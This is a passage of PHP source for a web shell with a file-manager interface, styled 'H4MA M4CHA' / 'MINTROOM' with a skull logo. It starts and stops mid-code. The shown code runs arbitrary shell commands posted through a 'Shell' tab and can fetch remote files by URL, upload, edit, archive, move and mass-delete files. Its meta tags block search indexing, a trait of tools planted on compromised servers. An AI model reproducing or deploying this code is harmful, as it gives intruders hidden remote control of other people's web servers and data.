'cmd': { $cmd = trim((string)(isset($_POST['cmd']) ? $_POST['cmd'] : '')); if ($cmd===''){ $_SESSION['msg']='Command is empty.'; return $back(); } $result = run_command_all($cmd, $current); $out=(string)$result['out']; if (strlen($out)>1024*1024) $out = substr($out,0,1024*1024)."\n[output truncated]"; $_SESSION['cmd_result']=array('cmd'=>$cmd,'method'=>$result['method'],'code'=>$result['code'],'out'=>$out); return $back(); } case 'move': { $srcName = (string)(isset($_POST['src']) ? $_POST['src'] : ''); $dstDir = (string)(isset($_POST['dst']) ? $_POST['dst'] : ''); $srcFull = safeJoin($current, $srcName); if ($srcName==='' || !file_exists($srcFull)) { $_SESSION['msg']='Move failed: source missing'; return $back(); } if ($dstDir==='') { $_SESSION['msg']='Move failed: destination empty'; return $back(); } if (!is_dir($dstDir)) { $_SESSION['msg']='Move failed: destination is not a directory'; return $back(); } $dstFull = safeJoin($dstDir, basename($srcName)); if (@realpath($srcFull)===@realpath($dstFull)) { $_SESSION['msg']='Move skipped (same location)'; return $back(); } $ok = @rename($srcFull, $dstFull); $_SESSION['msg'] = $ok ? 'Move OK' : 'Move failed'; return $back(); } case 'zip': { $items = isset($_POST['items']) ? $_POST['items'] : array(); $name = trim((string)(isset($_POST['zipname']) ? $_POST['zipname'] : '')); if (!is_array($items) || empty($items)) { $_SESSION['msg']='Zip failed: nothing selected'; return $back(); } if ($name==='') $name = 'archive-'.date('Ymd-His').'.zip'; $archivePath = safeJoin($current, $name); $done=false; $err=''; if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($archivePath, ZipArchive::CREATE|ZipArchive::OVERWRITE)===true) { foreach ($items as $it) { $full = safeJoin($current, $it); if (is_dir($full)) { $itClean = rtrim($it, DIRECTORY_SEPARATOR); addDirToZip($zip, $full, $itClean); } elseif (is_file($full)) { $zip->addFile($full, basename($it)); } } $zip->close(); $done=true; } else { $err='ZipArchive open failed'; } } if (!$done) { if (class_exists('PharData')) { try { $tarName = preg_replace('~\.zip$~i', '.tar', $archivePath); $phar = new PharData($tarName); foreach ($items as $it) { $full = safeJoin($current, $it); if (is_dir($full)) { $phar->addEmptyDir(basename($it)); addDirToPhar($phar, $full, basename($it)); } elseif (is_file($full)) { $phar->addFile($full, basename($it)); } } unset($phar); $_SESSION['msg']='ZipArchive not available; created TAR instead: '.basename($tarName); return $back(); } catch (Exception $e) { $err = 'TAR fallback failed: '.$e->getMessage(); } } else { $err = ($err ? $err.'; ' : '').'No ZipArchive nor PharData available'; } } $_SESSION['msg'] = $done ? ('Archive created: '.basename($archivePath)) : ('Zip failed: '.$err); return $back(); } case 'unzip': { $file = safeJoin($current, isset($_POST['file']) ? $_POST['file'] : ''); if (!is_file($file)) { $_SESSION['msg']='Unzip failed: file not found'; return $back(); } $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $ok=false; $err=''; if ($ext==='zip' && class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($file)===true) { $ok = $zip->extractTo($current); $zip->close(); if(!$ok) $err='Zip extractTo failed'; } else { $err='Zip open failed'; } } else { try { if (class_exists('PharData') && preg_match('~\.(tar|tar\.gz|tar\.bz2|tar\.xz)$~i', $file)) { $phar = new PharData($file); $phar->extractTo($current, null, true); $ok=true; } else { $err='Unsupported archive type or PharData not available'; } } catch (Exception $e) { $err=$e->getMessage(); } } $_SESSION['msg'] = $ok ? 'Unzip OK' : ('Unzip failed: '.$err); return $back(); } } } /* ==== Helpers for ZIP/TAR recursion ==== */ function addDirToZip($zip, $dir, $local){ $dir = rtrim($dir, DIRECTORY_SEPARATOR); if (method_exists($zip, 'addEmptyDir')) $zip->addEmptyDir($local); $h = @opendir($dir); if(!$h) return; while(false!==($e=readdir($h))){ if($e==='.'||$e==='..') continue; $full = $dir.DIRECTORY_SEPARATOR.$e; $localPath = $local.'/'.basename($e); if (is_dir($full)) addDirToZip($zip, $full, $localPath); elseif (is_file($full) && method_exists($zip,'addFile')) $zip->addFile($full, $localPath); } closedir($h); } function addDirToPhar($phar, $dir, $local){ $dir = rtrim($dir, DIRECTORY_SEPARATOR); $h = @opendir($dir); if(!$h) return; while(false!==($e=readdir($h))){ if($e==='.'||$e==='..') continue; $full = $dir.DIRECTORY_SEPARATOR.$e; $localPath = $local.'/'.basename($e); if (is_dir($full)) { if (method_exists($phar,'addEmptyDir')) $phar->addEmptyDir($localPath); addDirToPhar($phar,$full,$localPath); } elseif (is_file($full) && method_exists($phar,'addFile')) { $phar->addFile($full, $localPath); } } closedir($h); } /* ========================= * VIEW MODEL & RENDER * ========================= */ $items = listDirEntries($current); $files=array(); $dirs=array(); foreach($items as $it){ $full=$current.DIRECTORY_SEPARATOR.$it; if(is_dir($full)) $dirs[]=$it; else $files[]=$it; } $hasNatural=defined('SORT_NATURAL'); $hasFlagCase=defined('SORT_FLAG_CASE'); if ($hasNatural){ sort($dirs, $hasFlagCase?(SORT_NATURAL|SORT_FLAG_CASE):SORT_NATURAL); sort($files, $hasFlagCase?(SORT_NATURAL|SORT_FLAG_CASE):SORT_NATURAL); } else { natcasesort($dirs); $dirs=array_values($dirs); natcasesort($files); $files=array_values($files); } $up = dirname($current); if ($up===$current) $up=$current; $isEdit = ((((isset($_GET['a']) ? $_GET['a'] : '') === 'edit')) && isset($_GET['f'])) ? safeJoin($current, $_GET['f']) : null; $editFile = ($isEdit && is_file($isEdit)) ? $isEdit : null; $isView = ((((isset($_GET['a']) ? $_GET['a'] : '') === 'view')) && isset($_GET['f'])) ? safeJoin($current, $_GET['f']) : null; $viewFile = ($isView && is_file($isView)) ? $isView : null; $modeParam = isset($_GET['mode']) ? $_GET['mode'] : 'auto'; $viewMode = in_array($modeParam, array('txt','b64','auto'), true) ? $modeParam : 'auto'; $csrf = isset($_SESSION['csrf']) ? $_SESSION['csrf'] : ''; $yearNow = date('Y'); ?> <!doctype html> <html lang="en" class="dark"> <head> <meta charset="utf-8"> <title>馃崈 H4MA M4CHA馃崈</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="robots" content="noindex,nofollow,noarchive,nosnippet,noimageindex"> <meta name="googlebot" content="noindex,nofollow,noarchive,nosnippet,noimageindex"> <script src="https://cdn.tailwindcss.com"></script> <script> tailwind.config = { darkMode:'class', theme:{ extend:{ fontFamily:{ ui:['JetBrains Mono','Fira Code','Ubuntu','ui-monospace','SFMono-Regular','Menlo','Monaco','Consolas','monospace'] }, colors:{ canvas:{DEFAULT:'#0a0e0c',light:'#0a0e0c',surface:'rgba(10,15,13,.92)'}, mint:{50:'#e6faf3',100:'#ccf5e7',200:'#99ebcf',300:'#66e0b7',400:'#33d69f',500:'#3EB489',600:'#2e8f6c',700:'#1f6b4f',800:'#104732',900:'#082316'}, accent:'#3EB489' }, boxShadow:{ card:'0 12px 40px rgba(0,0,0,.5), inset 0 1px 0 rgba(62,180,137,.08)', glow:'0 8px 30px rgba(62,180,137,.25)', 'glow-intense':'0 0 40px rgba(62,180,137,.4)' }, borderRadius:{ xl2:'20px' }, animation:{ 'pulse-slow':'pulse 3s cubic-bezier(0.4,0,0.6,1) infinite' } } } } </script> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;700&display=swap" rel="stylesheet"> <!-- CodeMirror 5 --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/theme/dracula.min.css"> <style> .CodeMirror{ border:1px solid rgba(62,180,137,.25); border-radius:14px; background:#0a0e0c; color:#d1d5db; font-family:'JetBrains Mono','Fira Code',monospace; } .cm-s-dracula .CodeMirror-gutters{ background:#0a0e0c; border-right:1px solid rgba(62,180,137,.2); } *{scrollbar-width:thin;scrollbar-color:#3EB489 #1a2520;} ::-webkit-scrollbar{width:8px;height:8px;} ::-webkit-scrollbar-track{background:#1a2520;border-radius:10px;} ::-webkit-scrollbar-thumb{background:#3EB489;border-radius:10px;} ::-webkit-scrollbar-thumb:hover{background:#2e8f6c;} html,body{height:100%} body{font-family:'JetBrains Mono','Fira Code','Ubuntu',ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;} .shell{min-height:100vh;background: radial-gradient(1200px 600px at 20% -10%, rgba(62,180,137,.08), transparent 60%), radial-gradient(900px 500px at 90% 0%, rgba(62,180,137,.06), transparent 60%), #0a0e0c; display:grid; grid-template-rows:auto 1fr auto;} .card{background:rgba(10,15,13,.92);border:1px solid rgba(62,180,137,.2);border-radius:20px;box-shadow:0 12px 40px rgba(0,0,0,.5), inset 0 1px 0 rgba(62,180,137,.08);backdrop-filter:blur(12px);} .field{border:1px solid rgba(62,180,137,.25);border-radius:12px;padding:.6rem .85rem;width:100%;background:#0a0e0c;color:#d1d5db;transition:all .2s;} .field:focus{outline:none;box-shadow:0 0 0 4px rgba(62,180,137,.25);border-color:#3EB489} .btn{background:linear-gradient(180deg,#3EB489,#2e8f6c);color:#e6faf3;border-radius:12px;padding:.55rem .85rem;font-weight:600;font-size:.875rem;line-height:1.25rem;display:inline-flex;align-items:center;justify-content:center;transition:transform .1s, box-shadow .2s, filter .2s; box-shadow:0 8px 24px rgba(62,180,137,.2);letter-spacing:-0.01em;} .btn:hover{filter:brightness(1.1);box-shadow:0 12px 32px rgba(62,180,137,.35);transform:translateY(-1px);} .btn:active{transform:translateY(0.5px);} .btn-ghost{background:transparent;border:1px solid rgba(62,180,137,.4);color:#d1d5db;} .btn-ghost:hover{background:rgba(62,180,137,.1);border-color:#3EB489;} .btn-xs{padding:.3rem .6rem;font-size:.75rem;border-radius:8px}.btn-sm{padding:.4rem .7rem;font-size:.8125rem;border-radius:10px}.btnw{min-width:100px} .tbl thead th{position:sticky;top:0;background:#0a0e0cf2;backdrop-filter:blur(8px);z-index:1;color:#a7f3d0;font-weight:600;text-transform:uppercase;font-size:.7rem;letter-spacing:.5px;} .tbl tbody tr:nth-child(even){background:rgba(62,180,137,.03)} .tbl tbody tr.hoverable:hover{background:rgba(62,180,137,.12);box-shadow:inset 0 0 0 9999px rgba(62,180,137,.06)} .tbl tbody tr.hoverable{transition:background .15s ease} .ico{width:20px;height:20px;display:inline-block;vertical-align:text-bottom;color:#6ee7b7} .mono{font-family:'JetBrains Mono','Fira Code',ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace} .badge-small{font-size:10px;padding:.15rem .5rem;border-radius:999px;background:#0f1a15;color:#a7f3d0;border:1px solid rgba(62,180,137,.4);text-transform:uppercase;letter-spacing:.3px;} .row-actions{display:grid;grid-template-columns:repeat(8, minmax(95px, auto));gap:.4rem;justify-items:start} @media (max-width:1200px){ .row-actions{grid-template-columns:repeat(3, minmax(95px, auto));} } .tablewrap{height:calc(100vh - 340px);overflow:auto} @media (max-height:800px){ .tablewrap{height:calc(100vh - 380px)} } .drop-hint{border:2px dashed rgba(62,180,137,.6); background:rgba(62,180,137,.08);box-shadow:0 0 30px rgba(62,180,137,.15);} .droptarget{outline:3px solid #3EB489; outline-offset:-3px;background:rgba(62,180,137,.1) !important;} /* Command editors */ .cm-cmd-input { font-size:13px; line-height:1.5; } .cm-cmd-input .CodeMirror { width:100% !important; height:44px !important; } .cm-cmd-input .CodeMirror-scroll { height:44px !important; } .cm-cmd-output { font-size:13px; line-height:1.5; } .cm-cmd-output .CodeMirror { width:100% !important; } .cm-cmd-output .CodeMirror-scroll { height:340px !important; } .footer-line{height:2px;background:linear-gradient(90deg,rgba(62,180,137,0),rgba(62,180,137,.6),rgba(62,180,137,0));} /* Simple text tabs */ .simple-tabs a{ color:#a7f3d0; font-weight:500; transition:color .15s; } .simple-tabs a:hover{ color:#ffffff; } .simple-tabs .active{ color:#3EB489; border-bottom:3px solid #3EB489; font-weight:700; } .subtabs a{ color:#a7f3d0; font-size:11px; text-transform:uppercase; letter-spacing:.3px; } .subtabs .active{ color:#3EB489; border-bottom:2px solid #3EB489; } /* Dir table tweaks */ #tableCard, #tableCard * { user-select: text; -webkit-user-select: text; } #dirTable a, #dirTable a:visited { color:#d1d5db !important; } #dirTable a:hover { color:#3EB489 !important; } .glow-text{text-shadow:0 0 20px rgba(62,180,137,.5);} </style> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/mode/loadmode.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/meta.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/edit/closebrackets.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/edit/matchbrackets.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/selection/active-line.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/display/placeholder.min.js"></script> </head> <body class="shell text-gray-200" id="bodyRoot"> <header class="sticky top-0 z-20 w-full border-b border-mint-800/40 bg-[#0a0e0c]/80 backdrop-blur-xl"> <div class="w-full px-6 py-3 grid grid-cols-[auto_1fr_auto] items-center gap-3"> <!-- LEFT: logo/title --> <div class="flex items-center gap-3 shrink-0"> <div class="text-2xl animate-pulse-slow"><?php echo svgIcon('skull', 'ico'); ?></div> <div> <div class="text-xl font-bold tracking-tight glow-text" style="background:linear-gradient(135deg,#3EB489,#6ee7b7);-webkit-background-clip:text;background-clip:text;color:transparent"> <a href="?">馃崈MINTROOM馃崈</a> </div> <div class="text-[10px] text-mint-400/60 uppercase tracking-wider">PHP <?php echo h(PHP_VERSION); ?></div> </div> </div> <!-- CENTER spacer --> <div></div> <!-- RIGHT: Path + Filter + Logout --> <div class="flex items-center gap-2 shrink-0"> <!-- PATH --> <div class="hidden md:inline-flex items-center gap-2 rounded-xl border border-mint-800/40 bg-[#0a0e0c]/80 px-3 h-10"> <span class="text-mint-400/70 text-xs uppercase tracking-wider">Path:</span> <input id="pathInput" type="text" readonly value="<?php echo h($current); ?>" size="<?php echo max(16, min(160, strlen($current))); ?>" class="mono bg-transparent outline-none text-sm text-gray-200 w-auto max-w-[45vw] truncate h-8 leading-8" title="<?php echo h($current); ?>" onfocus="this.select()" /> <button id="copyPathBtn" type="button" class="ml-1 inline-flex items-center justify-center w-8 h-8 rounded-lg border border-mint-800/40 hover:border-mint-500 hover:bg-mint-900/30 transition-all" title="Copy path" aria-label="Copy path" > <svg id="copyIcon" viewBox="0 0 24 24" class="w-4 h-4 text-mint-400" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <rect x="9" y="9" width="13" height="13" rx="2" ry="2"></rect> <path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"></path> </svg> <svg id="checkIcon" viewBox="0 0 24 24" class="w-4 h-4 text-mint-400 hidden" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <path d="M20 6L9 17l-5-5"></path> </svg> </button> </div> <!-- FILTER --> <div class="hidden md:inline-flex items-center gap-2 rounded-xl border border-mint-800/40 bg-[#0a0e0c]/80 px-3 h-10"> <?php echo svgIcon('search','ico'); ?> <input id="searchBox" type="search" placeholder="Filter (Ctrl+/)" class="bg-transparent text-sm outline-none placeholder:text-mint-400/40 w-56 h-8 leading-8" oninput="filterRows()" > </div> <!-- Logout --> <form method="post" action="?a=logout&p=<?php echo rawurlencode($current); ?>"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <button class="btn btn-sm !px-5" type="submit">鉄� Exit</button> </form> </div> </div> </header> <main class="w-full px-6 py-5 grid grid-cols-12 gap-5"> <!-- SIDEBAR --> <aside class="col-span-12 xl:col-span-3 space-y-4"> <?php if (!empty($_SESSION['msg'])): ?> <div class="rounded-xl border border-mint-800/60 bg-mint-900/20 text-mint-100 px-4 py-3 text-sm animate-pulse"> <?php echo h($_SESSION['msg']); unset($_SESSION['msg']); ?> </div> <?php endif; ?> <section class="card p-4"> <h2 class="font-semibold mb-3 text-mint-300 uppercase tracking-wider text-xs flex items-center gap-2"><span class="w-1 h-4 bg-mint-500 rounded-full"></span>Navigation</h2> <div class="mb-2 text-xs text-mint-400/70 uppercase tracking-wider">Breadcrumbs</div> <div class="flex flex-wrap gap-1 text-sm"> <?php foreach (breadcrumbs($current) as $i => $crumb): list($name, $path) = $crumb; ?> <?php if ($i) echo '<span class="text-mint-700">/</span>'; ?> <a href="?p=<?php echo rawurlencode($path); ?>" class="inline-flex items-center gap-1 px-2 py-1.5 rounded-lg border border-mint-800/30 bg-mint-900/20 text-mint-200 hover:border-mint-500 hover:bg-mint-900/40 transition-all text-xs"><?php echo h($name); ?></a> <?php endforeach; ?> </div> <hr class="my-4 border-mint-800/30"> <form method="get" class="space-y-2"> <label class="text-xs text-mint-400/70 uppercase tracking-wider">Change Path</label> <input type="text" name="p" class="field mono text-sm" placeholder="/home/user" value="<?php echo h($current); ?>"> <div class="flex gap-2"> <button class="btn btnw text-sm" type="submit">Go</button> <a class="btn btnw text-sm" href="?">CWD</a> </div> </form> </section> <!-- CREATE + TABS --> <section class="card p-4" id="createCard"> <h2 class="font-semibold mb-3 text-mint-300 uppercase tracking-wider text-xs flex items-center gap-2"><span class="w-1 h-4 bg-mint-500 rounded-full"></span>Create</h2> <!-- Simple text tabs --> <div class="simple-tabs flex flex-wrap items-center gap-4 mb-3 text-sm"> <a href="#" data-target="tab-create-file" class="tablink pb-1">File</a> <a href="#" data-target="tab-create-folder" class="tablink pb-1">Folder</a> <a href="#" data-target="tab-upload" class="tablink pb-1">Upload</a> <a href="#" data-target="tab-run-cmd" class="tablink pb-1">Shell</a> </div> <hr class="my-3 border-mint-800/30"> <!-- Sub tabs for Upload --> <div class="subtabs flex flex-wrap items-center gap-4 mb-3" id="uploadSubtabs" style="display:none"> <a href="#" data-target="sub-upload-local" class="subtablink pb-1">Local</a> <a href="#" data-target="sub-upload-url" class="subtablink pb-1">URL</a> </div> <hr class="my-3 border-mint-800/20" id="uploadSubtabsHr" style="display:none"> <!-- TAB: Create File --> <div id="tab-create-file" class="tabcontent" style="display:none"> <form method="post" action="?a=new-file&p=<?php echo rawurlencode($current); ?>" class="space-y-3"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="tab" value="create-file"> <label class="text-xs text-mint-400/70 uppercase tracking-wider">New File</label> <input type="text" name="name" class="field mono text-sm" placeholder="newfile.txt" required> <textarea name="content" class="field mono text-sm" rows="3" placeholder="(Optional) initial content..."></textarea> <button class="btn w-full" type="submit">鉃� Create File</button> </form> </div> <!-- TAB: Create Folder --> <div id="tab-create-folder" class="tabcontent" style="display:none"> <form method="post" action="?a=new-dir&p=<?php echo rawurlencode($current); ?>" class="space-y-3"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="tab" value="create-folder"> <label class="text-xs text-mint-400/70 uppercase tracking-wider">New Folder</label> <input type="text" name="name" class="field mono text-sm" placeholder="NewFolder" required> <button class="btn w-full" type="submit">馃搧 Create Folder</button> </form> </div> <!-- TAB: Upload --> <div id="tab-upload" class="tabcontent" style="display:none"> <div id="sub-upload-local"> <form method="post" enctype="multipart/form-data" action="?a=upload&p=<?php echo rawurlencode($current); ?>" class="space-y-3"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="tab" value="upload"> <input type="hidden" name="subtab" value="local"> <input type="file" name="files[]" multiple class="block w-full text-sm file:mr-3 file:rounded-lg file:border file:border-mint-800/40 file:px-4 file:py-2 file:bg-mint-900/30 file:text-mint-200 hover:file:bg-mint-900/50 file:transition-all"> <button class="btn w-full" type="submit">鈽侊笍 Upload Files</button> <div class="text-[10px] text-mint-400/50 uppercase tracking-wider">Drag & drop anywhere on page</div> </form> </div> <div id="sub-upload-url" style="display:none"> <form method="post" action="?a=url-upload&p=<?php echo rawurlencode($current); ?>" class="space-y-3"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="tab" value="upload"> <input type="hidden" name="subtab" value="url"> <input type="url" name="url" class="field text-sm" placeholder="https://example.com/file.txt" required> <input type="text" name="filename" class="field text-sm" placeholder="File name (optional)"> <button class="btn w-full" type="submit">馃寪 Fetch from URL</button> </form> </div> </div> <!-- TAB: Run Command --> <div id="tab-run-cmd" class="tabcontent" style="display:none"> <form method="post" action="?a=cmd&p=<?php echo rawurlencode($current); ?>" class="space-y-3" id="cmdForm"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="tab" value="run-cmd"> <label class="text-xs text-mint-400/70 uppercase tracking-wider">Run Command</label> <textarea id="cmdTA" name="cmd" class="field mono text-sm" rows="1"></textarea> <div class="flex gap-2 items-center"> <button class="btn" type="submit">鈿� Execute</button> <span class="text-[10px] text-mint-400/40 uppercase tracking-wider">Ctrl+Enter</span> </div> </form> <?php if (!empty($_SESSION['cmd_result'])): $cr = $_SESSION['cmd_result']; unset($_SESSION['cmd_result']); ?> <hr class="my-4 border-mint-800/30"> <div class="mt-3"> <details open class="card p-3 !bg-mint-900/10"> <summary class="cursor-pointer font-medium text-mint-300 text-sm"> Output 脳 <span class="mono text-mint-200"><?php echo h($cr['cmd']); ?></span> <span class="ml-2 text-[10px] text-mint-400/50 uppercase">via <?php echo h($cr['method']); ?> [<?php echo h((string)$cr['code']); ?>]</span> </summary> <pre id="cmdOutPre" class="mt-3 p-3 bg-black/40 rounded-lg overflow-auto text-xs mono border border-mint-800/30" style="max-height: 340px;"><?php echo h($cr['out']); ?></pre> </details> </div> <?php endif; ?> </div> </section> </aside> <!-- MAIN: Editor / Preview panels + Table --> <section class="col-span-12 xl:col-span-9 flex flex-col gap-4"> <?php if ($editFile): ?> <?php $autoMode = ($viewMode === 'auto'); if ($autoMode) { $viewMode = isTextFile($editFile) ? 'txt' : 'b64'; } $rawContent = @file_get_contents($editFile); if ($rawContent === false) { $rawContent = ''; } $display = ($viewMode === 'b64') ? base64_encode($rawContent) : $rawContent; ?> <div class="card p-4" id="editPanelWrap"> <details id="editPanel" open> <summary class="cursor-pointer font-medium flex items-center justify-between"> <div class="flex items-center gap-2"> <span class="text-mint-300 uppercase tracking-wider text-xs">Edit File</span> <span class="text-[10px] text-mint-400/50"><?php echo h(humanSize((int)@filesize($editFile))); ?></span> </div> <div class="flex items-center gap-2"> <button type="button" class="btn btn-xs btn-ghost" onclick="document.getElementById('editPanel').open=false">鉁� Close</button> </div> </summary> <div class="mt-3 text-xs text-mint-400/70 mono truncate"><?php echo h($editFile); ?></div> <hr class="my-3 border-mint-800/30"> <div class="mt-2 flex gap-2"> <a class="inline-block px-3 py-1.5 rounded-lg border text-xs font-medium transition-all <?php echo $viewMode==='txt'?'bg-mint-600 text-black border-mint-500':'border-mint-800/40 bg-mint-900/20 text-mint-200 hover:bg-mint-900/40'; ?>" href="?a=edit&f=<?php echo rawurlencode(basename($editFile)); ?>&p=<?php echo rawurlencode($current); ?>&mode=txt">Text</a> <a class="inline-block px-3 py-1.5 rounded-lg border text-xs font-medium transition-all <?php echo $viewMode==='b64'?'bg-mint-600 text-black border-mint-500':'border-mint-800/40 bg-mint-900/20 text-mint-200 hover:bg-mint-900/40'; ?>" href="?a=edit&f=<?php echo rawurlencode(basename($editFile)); ?>&p=<?php echo rawurlencode($current); ?>&mode=b64">Base64</a> </div> <form method="post" action="?a=edit-save&p=<?php echo rawurlencode($current); ?>" class="mt-3" id="editForm"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="file" value="<?php echo h(basename($editFile)); ?>"> <input type="hidden" name="mode" value="<?php echo h($viewMode); ?>"> <?php if ($viewMode === 'txt'): ?> <textarea id="editor" name="content"><?php echo h($display); ?></textarea> <?php else: ?> <textarea name="content" class="w-full h-72 border border-mint-800/40 rounded-xl p-3 mono bg-[#0a0e0c] text-gray-200 text-sm" spellcheck="false"><?php echo h($display); ?></textarea> <div class="mt-2 text-[10px] text-mint-400/50 uppercase tracking-wider">Base64 mode</div> <?php endif; ?> <div class="mt-4 flex flex-wrap gap-2 items-center"> <button class="btn" type="submit">馃捑 Save</button> <button class="btn btn-ghost" type="button" onclick="document.getElementById('editPanel').open=false">Close</button> <a class="btn btn-ghost" href="?p=<?php echo rawurlencode($current); ?>">Reset</a> </div> </form> </details> </div> <?php endif; ?> <?php if ($viewFile): ?> <?php $vf_size = (int)@filesize($viewFile); $vf_ext = strtolower(pathinfo($viewFile, PATHINFO_EXTENSION)); $is_img = in_array($vf_ext, array('jpg','jpeg','png','gif','webp','bmp','svg')); $is_txt = isTextFile($viewFile); $preview_max = 512 * 1024; $txt = ''; if ($is_txt) { $txt = @file_get_contents($viewFile, false, null, 0, $preview_max); if ($txt === false) $txt = ''; } ?> <div class="card p-4" id="previewWrap"> <details id="previewPanel" open> <summary class="cursor-pointer font-medium flex items-center justify-between"> <div class="flex items-center gap-2"> <span class="text-mint-300 uppercase tracking-wider text-xs">Preview</span> <span class="mono text-mint-200"><?php echo h(basename($viewFile)); ?></span> <span class="text-[10px] text-mint-400/50"><?php echo h(humanSize($vf_size)); ?></span> </div> <div class="flex items-center gap-2"> <button type="button" class="btn btn-xs btn-ghost" onclick="document.getElementById('previewPanel').open=false">鉁� Close</button> </div> </summary> <div class="mt-3 text-xs text-mint-400/70 mono truncate"><?php echo h($viewFile); ?></div> <hr class="my-3 border-mint-800/30"> <div class="mt-3"> <?php if ($is_img): ?> <img src="?a=raw&f=<?php echo rawurlencode(basename($viewFile)); ?>&p=<?php echo rawurlencode($current); ?>" alt="preview" class="max-w-full rounded-xl border border-mint-800/40" style="max-height:480px;object-fit:contain;"> <?php elseif ($is_txt): ?> <pre id="previewPre" class="p-3 bg-black/40 rounded-xl overflow-auto text-sm mono border border-mint-800/30" style="max-height:480px;"><?php echo h($txt); ?></pre> <?php if ($vf_size > $preview_max): ?> <div class="mt-2 text-[10px] text-mint-400/50 uppercase tracking-wider">Showing <?php echo h(humanSize($preview_max)); ?> of <?php echo h(humanSize($vf_size)); ?></div> <?php endif; ?> <?php else: ?> <div class="rounded-xl border border-mint-800/40 p-4 bg-mint-900/10"> <div class="text-sm text-mint-200">Cannot preview this file type.</div> <div class="mt-3 flex gap-2"> <a class="btn btn-sm" href="?a=download&f=<?php echo rawurlencode(basename($viewFile)); ?>&p=<?php echo rawurlencode($current); ?>">Download</a> <a class="btn btn-sm btn-ghost" href="?a=edit&f=<?php echo rawurlencode(basename($viewFile)); ?>&p=<?php echo rawurlencode($current); ?>">Edit</a> </div> </div> <?php endif; ?> </div> </details> </div> <?php endif; ?> <div class="card p-4 flex flex-col" id="tableCard"> <div class="flex items-center justify-between mb-3"> <h2 class="font-semibold text-mint-300 uppercase tracking-wider text-xs flex items-center gap-2"><span class="w-1 h-4 bg-mint-500 rounded-full"></span>Directory Contents</h2> <div class="text-[10px] text-mint-400/50 uppercase tracking-wider">Dirs: <?php echo count($dirs); ?> 脳 Files: <?php echo count($files); ?></div> </div> <form method="post" action="?a=mass-delete&p=<?php echo rawurlencode($current); ?>" class="flex-1 flex flex-col" id="bulkDeleteForm"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <div class="mb-3 flex flex-wrap gap-2"> <button class="btn btn-sm" type="submit" onclick="return confirm('Delete all selected items?')">馃棏锔� Delete Selected</button> <button class="btn btn-sm btn-ghost" type="button" onclick="selectAll(true)">Select All</button> <button class="btn btn-sm btn-ghost" type="button" onclick="selectAll(false)">Select None</button> <div class="hidden md:flex items-center gap-2 ml-auto text-[10px] text-mint-400/50 uppercase tracking-wider"> <span>Sort:</span> <button type="button" class="btn btn-xs btn-ghost !px-2" onclick="sortBy('name')">Name</button> <button type="button" class="btn btn-xs btn-ghost !px-2" onclick="sortBy('size')">Size</button> <button type="button" class="btn btn-xs btn-ghost !px-2" onclick="sortBy('mtime')">Modified</button> </div> <!-- Toggle drag-to-move --> <label class="flex items-center gap-2 text-[10px] text-mint-400/70 uppercase tracking-wider ml-2"> <input id="dragToggle" type="checkbox" class="accent-mint-500 w-4 h-4 rounded"> Drag to Move </label> </div> <hr class="mb-3 border-mint-800/30"> <div class="tablewrap overflow-x-auto rounded-xl border border-mint-800/40 flex-1" id="dropZone"> <table id="dirTable" class="tbl min-w-full text-sm"> <thead class="text-left"> <tr> <th class="py-2 px-2 w-10"><input type="checkbox" id="chkAll" onclick="toggleAll(this)" class="accent-mint-500"></th> <th class="py-2 px-2">Name</th> <th class="py-2 px-2">Size</th> <th class="py-2 px-2">Perms</th> <th class="py-2 px-2">Modified</th> <th class="py-2 px-2">Actions</th> </tr> </thead> <tbody id="dirBody"> <?php foreach ($dirs as $name): $full = $current . DIRECTORY_SEPARATOR . $name; $r = @is_readable($full); $w = @is_writable($full); $permColorClass = $w ? 'text-mint-400' : ($r ? 'text-gray-200' : 'text-mint-700/60'); ?> <tr class="border-b border-mint-800/20 hoverable" data-type="dir" data-name="<?php echo h(strtolower($name)); ?>" data-size="0" data-mtime="<?php echo (int)@filemtime($full); ?>" draggable="true" ondragstart="onDragStartItem(event, <?php echo je($name); ?>)" ondragover="onDragOverDir(event)" ondragleave="onDragLeaveDir(event)" ondrop="onDropToDir(event, <?php echo je($name); ?>)"> <td class="py-2 px-2"><input class="rowchk" type="checkbox" name="items[]" value="<?php echo h($name); ?>" class="accent-mint-500"></td> <td class="py-2 px-2"> <div class="flex items-center gap-2 <?php echo $permColorClass; ?>"> <?php echo iconSvgFor($full); ?> <a class="hover:underline font-medium" draggable="false" onclick="return guardLinkCopy(event)" href="?p=<?php echo rawurlencode($full); ?>"><?php echo 